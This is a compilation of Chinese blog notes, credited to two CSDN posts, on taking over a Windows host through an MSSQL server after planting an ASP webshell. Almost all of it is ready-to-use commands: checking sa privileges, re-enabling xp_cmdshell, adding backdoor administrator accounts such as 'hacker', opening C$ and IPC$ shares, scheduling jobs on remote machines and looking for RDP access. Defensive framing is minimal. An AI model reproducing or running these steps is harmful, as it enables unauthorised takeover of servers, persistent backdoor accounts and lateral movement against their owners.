首先把大马上传上去,再webshell.asp上进行操作
进行端口扫描,发现有1433端口存在,说明有mssql数据库
在sql操作命令处,进行输入命令:select count(*) from master.dbo.sysobjects where xtype=\'x\' and name=\'xp_cmdshell‘ 查看xp_cmdshell是否开启
添加系统账号:exec master.dbo.xp_cmdshell \'net user hacker 123456 /add\'
加入管理员组:exec master.dbo.xp_cmdshell \'net localgroup administrators hacker /add\'
--------------------- 本文来自 sircoding 的CSDN 博客 ,全文地址请点击:https://blog.csdn.net/sircoding/article/details/78677572?utm_source=copy
首先前提是知道对方数据库sa用户的密码,有的人在自己的计算机安装数据的时候,喜欢将数据库密码为空,这样留下的后患就是人家通过连接你的数据库,通过下面指令,可以在你的计算机上添加超级管理员帐号:
-- 基于安全考虑,MSSQL2005及以上版本默认禁用了xp_cmdshell。直接调用该扩展存储过程会提示:
-- SQL Server 阻止了对组件 \'xp_cmdshell\' 的 过程 \'sys.xp_cmdshell\' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。
-- 系统管理员可以通过使用 sp_configure 启用 \'xp_cmdshell\'。有关启用 \'xp_cmdshell\' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
-- 执行以下语句启用xp_cmdshell
-- 将开启语句的第二个1改成0再执行,xp_cmdshell就又处于禁用状态了
EXEC sp_configure \'show advanced options\', 1;
RECONFIGURE;
go
EXEC sp_configure \'xp_cmdshell\', 1;
RECONFIGURE;
go
-- 给予CMD管理员权限执行
xp_cmdshell \'runas /user: administrator cmd.exe\'
--查看密码密码规则
exec xp_cmdshell \'net accounts\'
-- 添加用户SQLADMIN
exec xp_cmdshell \'net user/users SQLADMIN /add\'
-- 给SQLADMIN用户分配管理员权限
exec xp_cmdshell \'net localgroup administrators SQLADMIN /add\'
-- 删除SQLADMIN用户的管理员权限
exec xp_cmdshell \'net localgroup administrators SQLADMIN /delete\'
-- 删除SQLADMIN用户
exec xp_cmdshell \'net user/users SQLADMIN /delete\'
-- net share 共享名=路径 设置共享
exec xp_cmdshell \'net share c$=c:\'
-- net share 共享名 /delete 删除IPC$共享
exec xp_cmdshell \'net share c$ /delete\'
-- 建立远程IPC$连接
net use \\192.168.0.70\IPC$ “********” /user:administrator
-- 映射远程机器共享资源
net use x: \\192.168.0.70\C$
*net user 查看用户列表
*net user 用户名 密码 /add 添加用户
*net user 用户名 密码 更改用户密码
*net localgroup administrators 用户名 /add 添加用户到管理组
*net user 用户名 /delete 删除用户
*net user 用户名 查看用户的基本情况
*net user 用户名 /active:no 禁用该用户
*net user 用户名 /active:yes 启用该用户
*net share 查看计算机IPC$共享资源
*net share 共享名 查看该共享的情况
*net share 共享名=路径 设置共享。例如 net share c$=c:
*net share 共享名 /delete 删除IPC$共享
*net use 查看IPC$连接情况
*net use \\ip\ipc$ "密码" /user:"用户名" ipc$连接
*net time \\ip 查看远程计算机上的时间
*copy 路径:\文件名 \\ip\共享名 复制文件到已经ipc$连接的计算机上
*net view ip 查看计算机上的共享资源
*ftp 服务器地址 进入FTP服务器
*at 查看自己计算机上的计划作业
*at \\ip 查看远程计算机上的计划作业
*at \\ip 时间 命令(注意加盘符) 在远程计算机上加一个作业
*at \\ip 计划作业ID /delete 删除远程计算机上的一个计划作业
*at \\ip all /delete 删除远程计算机上的全部计划作业
exec xp_cmdshell \'net user SQLADMIN qaz!23#d%e /add\'
--------------------- 本文来自 feng19821209 的CSDN 博客 ,全文地址请点击:https://blog.csdn.net/feng19821209/article/details/44671479?utm_source=copy
判断权限是不是sa
select is_srvrolemember(\'sysadmin\')
返回是1说明是sa
判断xp_cmdshell扩展存储是否存在
select count(*) from master.dbo.sysobjects where xtype = \'x\' AND name= \'xp_cmdshell\'
返回为l则证明存在
判断xp_regread扩展存储过程是否存在
select count(*) from master.dbo.sysobjects where name=\'xp_regread\'
返回1证明存在
添加用户
exec master..xp_cmdshell \'net user test test /add\'
exec master..xp_cmdshell \'net localgroup administrators test /add\'
后来就是查看3389端口了,
exec master..xp_cmdshell \'XXXXX\'里面输入cmd命令就是了